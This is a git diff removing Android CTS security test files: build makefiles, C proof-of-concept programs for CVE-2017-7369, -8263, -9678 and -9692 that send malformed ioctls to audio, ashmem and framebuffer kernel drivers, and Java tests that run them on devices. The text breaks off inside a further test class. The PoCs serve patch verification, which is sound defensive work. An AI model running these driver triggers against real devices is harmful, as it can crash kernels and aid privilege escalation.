-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-7369
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_SRC_FILES := poc.c
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-7369/poc.c b/hostsidetests/security/securityPatch/CVE-2017-7369/poc.c
deleted file mode 100644
index c18936c..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-7369/poc.c
+++ /dev/null
@@ -1,236 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-
-#include <string.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <sys/ioctl.h>
-#include <sys/ptrace.h>
-#include <errno.h>
-#include <sys/syscall.h>
-#include <sys/prctl.h>
-#include <stdint.h>
-#include <sys/stat.h>
-#include <sys/mman.h>
-#include <linux/fb.h>
-#include <dlfcn.h>
-#include <sys/socket.h>
-#include <fcntl.h>
-#include <signal.h>
-#include <unistd.h>
-#include <sound/asound.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-
-#define MAXNUM 94
-#define MAXPCMOP 25
-#define MAXELE 16384
-
-char* CONTBL[MAXNUM]={
- "comprC0D17",
- "comprC0D18",
- "comprC0D37",
- "comprC0D38",
- "comprC0D39",
- "comprC0D40",
- "comprC0D41",
- "comprC0D42",
- "comprC0D9",
- "controlC0",
- "hwC0D10",
- "hwC0D1000",
- "hwC0D11",
- "hwC0D12",
- "hwC0D13",
- "hwC0D14",
- "hwC0D15",
- "hwC0D16",
- "hwC0D2",
- "hwC0D20",
- "hwC0D21",
- "hwC0D22",
- "hwC0D24",
- "hwC0D25",
- "hwC0D26",
- "hwC0D3",
- "hwC0D30",
- "hwC0D31",
- "hwC0D35",
- "hwC0D36",
- "hwC0D37",
- "hwC0D39",
- "hwC0D40",
- "hwC0D45",
- "hwC0D7",
- "hwC0D8",
- "hwC0D9",
- "pcmC0D0c",
- "pcmC0D0p",
- "pcmC0D10c",
- "pcmC0D10p",
- "pcmC0D11c",
- "pcmC0D11p",
- "pcmC0D12c",
- "pcmC0D12p",
- "pcmC0D13c",
- "pcmC0D13p",
- "pcmC0D14c",
- "pcmC0D14p",
- "pcmC0D15c",
- "pcmC0D15p",
- "pcmC0D16c",
- "pcmC0D19c",
- "pcmC0D19p",
- "pcmC0D1c",
- "pcmC0D1p",
- "pcmC0D20c",
- "pcmC0D20p",
- "pcmC0D21p",
- "pcmC0D22c",
- "pcmC0D22p",
- "pcmC0D23c",
- "pcmC0D23p",
- "pcmC0D24c",
- "pcmC0D24p",
- "pcmC0D25c",
- "pcmC0D26p",
- "pcmC0D27c",
- "pcmC0D28c",
- "pcmC0D29c",
- "pcmC0D2c",
- "pcmC0D2p",
- "pcmC0D30c",
- "pcmC0D31c",
- "pcmC0D32c",
- "pcmC0D33c",
- "pcmC0D34c",
- "pcmC0D35c",
- "pcmC0D35p",
- "pcmC0D36c",
- "pcmC0D36p",
- "pcmC0D3c",
- "pcmC0D3p",
- "pcmC0D43c",
- "pcmC0D44c",
- "pcmC0D44p",
- "pcmC0D45c",
- "pcmC0D45p",
- "pcmC0D4p",
- "pcmC0D5c",
- "pcmC0D5p",
- "pcmC0D6c",
- "pcmC0D7p",
- "pcmC0D8c"
-};
-
- char* OPPCM[MAXPCMOP]={
- "/dev/snd/pcmC0D0p",
- "/dev/snd/pcmC0D10p",
- "/dev/snd/pcmC0D11p",
- "/dev/snd/pcmC0D12p",
- "/dev/snd/pcmC0D13p",
- "/dev/snd/pcmC0D14p",
- "/dev/snd/pcmC0D15p",
- "/dev/snd/pcmC0D19p",
- "/dev/snd/pcmC0D1p",
- "/dev/snd/pcmC0D20p",
- "/dev/snd/pcmC0D21p",
- "/dev/snd/pcmC0D22p",
- "/dev/snd/pcmC0D23p",
- "/dev/snd/pcmC0D24p",
- "/dev/snd/pcmC0D2p",
- "/dev/snd/pcmC0D32p",
- "/dev/snd/pcmC0D33p",
- "/dev/snd/pcmC0D3p",
- "/dev/snd/pcmC0D40p",
- "/dev/snd/pcmC0D41p",
- "/dev/snd/pcmC0D44p",
- "/dev/snd/pcmC0D47p",
- "/dev/snd/pcmC0D4p",
- "/dev/snd/pcmC0D5p",
- "/dev/snd/pcmC0D7p"
-};
-
-void poc(char* name)
-{
- int fd, ret, cmd, index,pcmfd, i;
- char dev[36]={0};
- snprintf(dev, sizeof(dev),"/dev/snd/%s", name);
- fd = open(dev, O_RDWR);
- if (fd < 0)
- {
- return;
- }
-
- cmd = SNDRV_CTL_IOCTL_CARD_INFO;
- struct snd_ctl_card_info info;
- ret = ioctl(fd, cmd, &info);
-
- struct snd_ctl_elem_list lst;
- struct snd_ctl_elem_value control;
- memset(&lst, 0, sizeof(lst));
- lst.pids = calloc(MAXELE, sizeof(struct snd_ctl_elem_list));
- lst.space = MAXELE;
- cmd = SNDRV_CTL_IOCTL_ELEM_LIST;
- ret = ioctl(fd, cmd, &lst);
- control.value.integer.value[0]=control.value.enumerated.item[0] = 0x80001111;
-
- for(index=0;(unsigned int)index<lst.count;index++)
- {
- if(!strncmp((const char *)lst.pids[index].name,"SLIM_1_TX Channels",18)||
- !strncmp((const char *)lst.pids[index].name,"SLIM_0_TX Channels",18)||
- !strncmp((const char *)lst.pids[index].name,"SLIM_6_RX Channels",18)||
- !strncmp((const char *)lst.pids[index].name,"SLIM_5_RX Channels",18)||
- !strncmp((const char *)lst.pids[index].name,"SLIM_0_RX Channels",18)||
- !strncmp((const char *)lst.pids[index].name,"Playback 24 Volume",18)||
- !strncmp((const char *)lst.pids[index].name,"left Profile",12)||
- !strncmp((const char *)lst.pids[index].name,"Playback Device Channel Map",27)||
- !strncmp((const char *)lst.pids[index].name, "LSM",3)||
- !strncmp((const char *)lst.pids[index].name,"MAD Input",9)||
- !strncmp((const char *)lst.pids[index].name, "AUDIO_REF_EC_UL",15)||
- !strncmp((const char *)lst.pids[index].name, "VOC_EXT_EC",10)) continue;
-
- control.id.numid=lst.pids[index].numid;
- ret = ioctl(fd,SNDRV_CTL_IOCTL_ELEM_WRITE,&control);
- }
- close(fd);
-}
-
-struct mystruct{
- int a;
- char* pp;
-};
-
-void freeptr(struct mystruct* p)
-{
- unsigned char* n = (unsigned char *)p->pp;
- n = NULL;
- p->pp = NULL;
- p = NULL;
-}
-
-int main()
-{
- int i =0;
- for(i = 0; i< MAXNUM; i++)
- {
- poc("controlC0");
- break;
- }
- return 1;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-8263/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-8263/Android.mk
deleted file mode 100644
index 0d1d60b..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-8263/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-8263
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-8263/local_poc.h b/hostsidetests/security/securityPatch/CVE-2017-8263/local_poc.h
deleted file mode 100644
index a75782b..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-8263/local_poc.h
+++ /dev/null
@@ -1,50 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#ifndef _LINUX_ASHMEM_H
-#define _LINUX_ASHMEM_H
-#include <linux/limits.h>
-#include <linux/ioctl.h>
-#define ASHMEM_NAME_LEN 256
-#define ASHMEM_NAME_DEF "dev/ashmem"
- /* Return values from ASHMEM_PIN: Was the mapping purged while unpinned? */
-#define ASHMEM_NOT_PURGED 0
-#define ASHMEM_WAS_PURGED 1
- /* Return values from ASHMEM_GET_PIN_STATUS: Is the mapping pinned? */
-#define ASHMEM_IS_UNPINNED 0
-#define ASHMEM_IS_PINNED 1
-struct ashmem_pin {
- __u32 offset; /* offset into region, in bytes, page-aligned */
- __u32 len; /* length forward from offset, in bytes, page-aligned */
-};
-#define __ASHMEMIOC 0x77
-#define ASHMEM_SET_NAME _IOW(__ASHMEMIOC, 1, char[ASHMEM_NAME_LEN])
-#define ASHMEM_GET_NAME _IOR(__ASHMEMIOC, 2, char[ASHMEM_NAME_LEN])
-#define ASHMEM_SET_SIZE _IOW(__ASHMEMIOC, 3, size_t)
-#define ASHMEM_GET_SIZE _IO(__ASHMEMIOC, 4)
-#define ASHMEM_SET_PROT_MASK _IOW(__ASHMEMIOC, 5, unsigned long)
-#define ASHMEM_GET_PROT_MASK _IO(__ASHMEMIOC, 6)
-#define ASHMEM_PIN _IOW(__ASHMEMIOC, 7, struct ashmem_pin)
-#define ASHMEM_UNPIN _IOW(__ASHMEMIOC, 8, struct ashmem_pin)
-#define ASHMEM_GET_PIN_STATUS _IO(__ASHMEMIOC, 9)
-#define ASHMEM_PURGE_ALL_CACHES _IO(__ASHMEMIOC, 10)
-#define ASHMEM_CACHE_FLUSH_RANGE _IO(__ASHMEMIOC, 11)
-#define ASHMEM_CACHE_CLEAN_RANGE _IO(__ASHMEMIOC, 12)
-#define ASHMEM_CACHE_INV_RANGE _IO(__ASHMEMIOC, 13)
-int get_ashmem_file(int fd, struct file **filp, struct file **vm_file,
- unsigned long *len);
-void put_ashmem_file(struct file *file);
-#endif /* _LINUX_ASHMEM_H */
diff --git a/hostsidetests/security/securityPatch/CVE-2017-8263/poc.c b/hostsidetests/security/securityPatch/CVE-2017-8263/poc.c
deleted file mode 100644
index 687bbc5..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-8263/poc.c
+++ /dev/null
@@ -1,51 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <fcntl.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <stdio.h>
-#include "local_poc.h"
-
-
-int main() {
- int fd;
- int ret;
- uint64_t mmap_ret;
-
- fd = open("/dev/ashmem", 0, 0);
- if (fd < 0) {
- return -1;
- }
-
- ret = ioctl(fd, ASHMEM_SET_SIZE, 0x1000);
- if (ret < 0) {
- return -1;
- }
-
- mmap_ret = (uint64_t) mmap((void *) 0x7f0000000 /*addr*/, 0x1000 /*length*/, 0x0 /*prot*/,
- 0x12 /*flags=MAP_FIXED|MAP_PRIVATE*/, fd, 0x0 /*offset*/);
- if (mmap_ret == MAP_FAILED) {
- return -1;
- }
-
- ret = ioctl(fd, ASHMEM_CACHE_FLUSH_RANGE, NULL);
- if (ret < 0) {
- return -1;
- }
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-9678/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-9678/Android.mk
deleted file mode 100644
index 0a5b344..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-9678/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-9678
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-9678/poc.c b/hostsidetests/security/securityPatch/CVE-2017-9678/poc.c
deleted file mode 100644
index beb7cc8..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-9678/poc.c
+++ /dev/null
@@ -1,131 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define GNU_SOURCE
-#include <fcntl.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <sys/ioctl.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include <string.h>
-
-#ifndef _IOC_NONE
-#define _IOC_NONE 0U
-#endif
-
-#ifndef _IOC_WRITE
-#define _IOC_WRITE 1U
-#endif
-
-#ifndef _IOC_READ
-#define _IOC_READ 2U
-#endif
-
-#define _IOC_NRBITS 8
-#define _IOC_TYPEBITS 8
-
-#ifndef _IOC_SIZEBITS
-#define _IOC_SIZEBITS 14
-#endif
-
-#ifndef _IOC_DIRBITS
-#define _IOC_DIRBITS 2
-#endif
-
-#define _IOC_NRMASK ((1 << _IOC_NRBITS) - 1)
-#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS) - 1)
-#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS) - 1)
-#define _IOC_DIRMASK ((1 << _IOC_DIRBITS) - 1)
-
-#define _IOC_NRSHIFT 0
-#define _IOC_TYPESHIFT (_IOC_NRSHIFT + _IOC_NRBITS)
-#define _IOC_SIZESHIFT (_IOC_TYPESHIFT + _IOC_TYPEBITS)
-#define _IOC_DIRSHIFT (_IOC_SIZESHIFT + _IOC_SIZEBITS)
-
-#define _IOC(dir, type, nr, size) \
- (((dir) << _IOC_DIRSHIFT) | ((type) << _IOC_TYPESHIFT) | \
- ((nr) << _IOC_NRSHIFT) | ((size) << _IOC_SIZESHIFT))
-
-#ifndef __KERNEL__
-#define _IOC_TYPECHECK(t) (sizeof(t))
-#endif
-
-#define _IO(type, nr) _IOC(_IOC_NONE, (type), (nr), 0)
-#define _IOR(type, nr, size) \
- _IOC(_IOC_READ, (type), (nr), (_IOC_TYPECHECK(size)))
-#define _IOW(type, nr, size) \
- _IOC(_IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
-#define _IOWR(type, nr, size) \
- _IOC(_IOC_READ | _IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
-#define _IOR_BAD(type, nr, size) _IOC(_IOC_READ, (type), (nr), sizeof(size))
-#define _IOW_BAD(type, nr, size) _IOC(_IOC_WRITE, (type), (nr), sizeof(size))
-#define _IOWR_BAD(type, nr, size) \
- _IOC(_IOC_READ | _IOC_WRITE, (type), (nr), sizeof(size))
-
-#define MDP_IOCTL_MAGIC 'S'
-/* atomic commit ioctl used for validate and commit request */
-#define MSMFB_ATOMIC_COMMIT _IOWR(MDP_IOCTL_MAGIC, 128, void *)
-
-struct mdp_rect {
- uint32_t x;
- uint32_t y;
- uint32_t w;
- uint32_t h;
-};
-
-typedef unsigned int u32;
-
-typedef u32 compat_caddr_t;
-
-struct mdp_layer_commit_v1_32 {
- uint32_t flags;
- int release_fence;
- struct mdp_rect left_roi;
- struct mdp_rect right_roi;
- compat_caddr_t input_layers;
- uint32_t input_layer_cnt;
- compat_caddr_t output_layer;
- int retire_fence;
- uint32_t reserved[6];
-};
-
-struct mdp_layer_commit32 {
- uint32_t version;
- union {
- struct mdp_layer_commit_v1_32 commit_v1;
- };
-};
-
-int main() {
- int fd;
- int ret;
- struct mdp_layer_commit32 mlc;
-
- memset(&mlc, 0, sizeof(struct mdp_layer_commit32));
-
- fd = open("/dev/graphics/fb0", O_RDWR);
-
- if (fd < 0) {
- return -1;
- }
-
- ret = ioctl(fd, MSMFB_ATOMIC_COMMIT, &mlc);
- close(fd);
-
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-9692/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-9692/Android.mk
deleted file mode 100644
index fa5539b..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-9692/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-9692
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-9692/poc.c b/hostsidetests/security/securityPatch/CVE-2017-9692/poc.c
deleted file mode 100644
index 7b4de81..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-9692/poc.c
+++ /dev/null
@@ -1,209 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define GNU_SOURCE
-#include <errno.h>
-#include <fcntl.h>
-#include <linux/types.h>
-#include <pthread.h>
-#include <stdio.h>
-#include <string.h>
-#include <sys/mman.h>
-#include <sys/socket.h>
-#include <sys/stat.h>
-#include <sys/time.h>
-#include <sys/types.h>
-#include <unistd.h>
-
-#ifndef _IOC_NONE
-#define _IOC_NONE 0U
-#endif
-
-#ifndef _IOC_WRITE
-#define _IOC_WRITE 1U
-#endif
-
-#ifndef _IOC_READ
-#define _IOC_READ 2U
-#endif
-
-#define _IOC_NRBITS 8
-#define _IOC_TYPEBITS 8
-
-#ifndef _IOC_SIZEBITS
-#define _IOC_SIZEBITS 14
-#endif
-
-#ifndef _IOC_DIRBITS
-#define _IOC_DIRBITS 2
-#endif
-
-#define _IOC_NRMASK ((1 << _IOC_NRBITS) - 1)
-#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS) - 1)
-#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS) - 1)
-#define _IOC_DIRMASK ((1 << _IOC_DIRBITS) - 1)
-
-#define _IOC_NRSHIFT 0
-#define _IOC_TYPESHIFT (_IOC_NRSHIFT + _IOC_NRBITS)
-#define _IOC_SIZESHIFT (_IOC_TYPESHIFT + _IOC_TYPEBITS)
-#define _IOC_DIRSHIFT (_IOC_SIZESHIFT + _IOC_SIZEBITS)
-
-#define _IOC(dir, type, nr, size) \
- (((dir) << _IOC_DIRSHIFT) | ((type) << _IOC_TYPESHIFT) | \
- ((nr) << _IOC_NRSHIFT) | ((size) << _IOC_SIZESHIFT))
-
-#ifndef __KERNEL__
-#define _IOC_TYPECHECK(t) (sizeof(t))
-#endif
-
-#define _IO(type, nr) _IOC(_IOC_NONE, (type), (nr), 0)
-#define _IOR(type, nr, size) \
- _IOC(_IOC_READ, (type), (nr), (_IOC_TYPECHECK(size)))
-#define _IOW(type, nr, size) \
- _IOC(_IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
-#define _IOWR(type, nr, size) \
- _IOC(_IOC_READ | _IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
-#define _IOR_BAD(type, nr, size) _IOC(_IOC_READ, (type), (nr), sizeof(size))
-#define _IOW_BAD(type, nr, size) _IOC(_IOC_WRITE, (type), (nr), sizeof(size))
-#define _IOWR_BAD(type, nr, size) \
- _IOC(_IOC_READ | _IOC_WRITE, (type), (nr), sizeof(size))
-
-#define MDP_IOCTL_MAGIC 'S'
-#define MSMFB_ATOMIC_COMMIT _IOWR(MDP_IOCTL_MAGIC, 128, void *)
-
-#define MDP_COMMIT_VERSION_1_0 0x00010000
-#define MDP_VALIDATE_LAYER 0x01
-
-#ifdef __LP64
-#define MDP_LAYER_COMMIT_V1_PAD 3
-#else
-#define MDP_LAYER_COMMIT_V1_PAD 4
-#endif
-
-#define MAX_PLANES 4
-
-struct mult_factor {
- uint32_t numer;
- uint32_t denom;
-};
-
-enum mdp_color_space {
- MDP_CSC_ITU_R_601,
- MDP_CSC_ITU_R_601_FR,
- MDP_CSC_ITU_R_709,
-};
-
-enum mdss_mdp_blend_op {
- BLEND_OP_NOT_DEFINED = 0,
- BLEND_OP_OPAQUE,
- BLEND_OP_PREMULTIPLIED,
- BLEND_OP_COVERAGE,
- BLEND_OP_MAX,
-};
-
-struct mdp_rect {
- uint32_t x;
- uint32_t y;
- uint32_t w;
- uint32_t h;
-};
-
-struct mdp_layer_plane {
- int fd;
- uint32_t offset;
- uint32_t stride;
-};
-
-struct mdp_layer_commit_v1 {
- uint32_t flags;
- int release_fence;
- struct mdp_rect left_roi;
- struct mdp_rect right_roi;
- struct mdp_input_layer __user *input_layers;
- uint32_t input_layer_cnt;
- struct mdp_output_layer __user *output_layer;
- int retire_fence;
- void __user *dest_scaler;
- uint32_t dest_scaler_cnt;
- uint32_t reserved[MDP_LAYER_COMMIT_V1_PAD];
-};
-
-struct mdp_layer_commit {
- uint32_t version;
- union {
- struct mdp_layer_commit_v1 commit_v1;
- };
-};
-
-struct mdp_layer_buffer {
- uint32_t width;
- uint32_t height;
- uint32_t format;
- struct mdp_layer_plane planes[MAX_PLANES];
- uint32_t plane_count;
- struct mult_factor comp_ratio;
- int fence;
- uint32_t reserved;
-};
-
-struct mdp_output_layer {
- uint32_t flags;
- uint32_t writeback_ndx;
- struct mdp_layer_buffer buffer;
- enum mdp_color_space color_space;
- uint32_t reserved[5];
-};
-
-struct mdp_input_layer {
- uint32_t flags;
- uint32_t pipe_ndx;
- uint8_t horz_deci;
- uint8_t vert_deci;
- uint8_t alpha;
- uint16_t z_order;
- uint32_t transp_mask;
- uint32_t bg_color;
- enum mdss_mdp_blend_op blend_op;
- enum mdp_color_space color_space;
- struct mdp_rect src_rect;
- struct mdp_rect dst_rect;
- void __user *scale;
- struct mdp_layer_buffer buffer;
- void __user *pp_info;
- int error_code;
- uint32_t reserved[6];
-};
-
-int main() {
- int fd;
- struct mdp_layer_commit commit;
- struct mdp_output_layer output_layer;
-
- fd = open("/dev/graphics/fb2", O_RDWR, 0);
- if (fd < 0) {
- return -1;
- }
-
- memset(&commit, 0, sizeof(struct mdp_layer_commit));
- commit.version = MDP_COMMIT_VERSION_1_0;
-
- memset(&output_layer, 0, sizeof(output_layer));
- commit.commit_v1.output_layer = (struct mdp_output_layer *)NULL;
- commit.commit_v1.flags |= MDP_VALIDATE_LAYER;
- ioctl(fd, MSMFB_ATOMIC_COMMIT, &commit);
-
- return 0;
-}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_02.java b/hostsidetests/security/src/android/security/cts/Poc17_02.java
deleted file mode 100644
index 4f22f3b..0000000
--- a/hostsidetests/security/src/android/security/cts/Poc17_02.java
+++ /dev/null
@@ -1,34 +0,0 @@
-/**
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc17_02 extends SecurityTestCase {
-
- /**
- * b/31796345
- */
- @SecurityTest
- public void testPocCVE_2017_0451() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/voice_svc")) {
- AdbUtils.runPoc("CVE-2017-0451", getDevice(), 60);
- }
- }
-}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_04.java b/hostsidetests/security/src/android/security/cts/Poc17_04.java
deleted file mode 100644
index e89a45a..0000000
--- a/hostsidetests/security/src/android/security/cts/Poc17_04.java
+++ /dev/null
@@ -1,99 +0,0 @@
-/**
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
